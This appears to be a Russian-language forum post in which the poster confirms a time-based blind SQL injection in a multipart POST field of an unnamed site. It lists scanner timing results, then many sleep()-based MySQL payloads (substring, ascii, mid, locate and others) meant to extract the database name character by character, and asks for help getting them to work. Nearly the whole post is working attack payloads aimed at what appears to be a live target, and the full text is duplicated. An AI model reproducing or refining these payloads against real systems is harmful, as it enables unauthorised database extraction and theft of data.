POST (multipart) input item[0] was set to (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
Tests performed:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 20.12
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 19.998
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 7.593
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 1.466
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 13.048
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.759
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 12.615
проверил руками, инъекция действительно есть и ответ приходит с задержкой.
пните в нужном направлении, пробую дальше:
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))>79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))<79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет
(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+"*/ - задержки нет
(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+"*/ - задержки нет
(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет
(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет
Пример с right()
(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+"*/
Пример с length()
(select(0)from(select(if(length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+"*/
Пример с mid()
(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+"*/
Пример с position()
(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+"*/
Пример с locate()
(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+"*/
Пример с char_length()
(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+"*/
Пример с ascii()
(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+"*/
Пример с concat()
(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+"*/
Пример с upper()
(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+"*/
Пример с lower()
(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+"*/
Пример с repeat()
(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+"*/
Пример с reverse()
(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+"*/
Пример с trim()
(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+"*/
---------------------------------------
задержки нет
Tests performed:
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 20.12
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ => 19.998
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 7.593
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 1.466
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 13.048
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.759
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 12.615
проверил руками, инъекция действительно есть и ответ приходит с задержкой.
пните в нужном направлении, пробую дальше:
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))>79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет
(select(0)from(select(sleep(2)))v)/*'+(select(0)from(select(sleep(if(ascii(substring(database(),1,1))<79,2,0)))v)+'"+(select(0)from(select(sleep(2)))v)+"*/ - задержки нет
(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))>77,sleep(2),0)))v)+"*/ - задержки нет
(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(substr(database(),1,1))<77,sleep(2),0)))v)+"*/ - задержки нет
(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ord(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет
(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)/*'+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+'"+(select(0)from(select(if(ascii(left(database(),1))>77,sleep(2),0)))v)+"*/ - задержки нет
<77 - задержки нет
Пример с right()
(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(right(database(),1))>0,sleep(2),0))v)+"*/
Пример с length()
(select(0)from(select(if(length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(length(database())>0,sleep(2),0))v)+"*/
Пример с mid()
(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(mid(database(),1,1))>0,sleep(2),0))v)+"*/
Пример с position()
(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(position('a' in database())>0,sleep(2),0))v)+"*/
Пример с locate()
(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(locate('a', database())>0,sleep(2),0))v)+"*/
Пример с char_length()
(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(char_length(database())>0,sleep(2),0))v)+"*/
Пример с ascii()
(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(database())>0,sleep(2),0))v)+"*/
Пример с concat()
(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(concat(database(),'a'))>0,sleep(2),0))v)+"*/
Пример с upper()
(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(upper(database()))>0,sleep(2),0))v)+"*/
Пример с lower()
(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(lower(database()))>0,sleep(2),0))v)+"*/
Пример с repeat()
(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(repeat(database(),1))>0,sleep(2),0))v)+"*/
Пример с reverse()
(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(reverse(database()))>0,sleep(2),0))v)+"*/
Пример с trim()
(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)/*'+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+'"+(select(0)from(select(if(ascii(trim(database()))>0,sleep(2),0))v)+"*/
---------------------------------------
задержки нет
Последнее редактирование: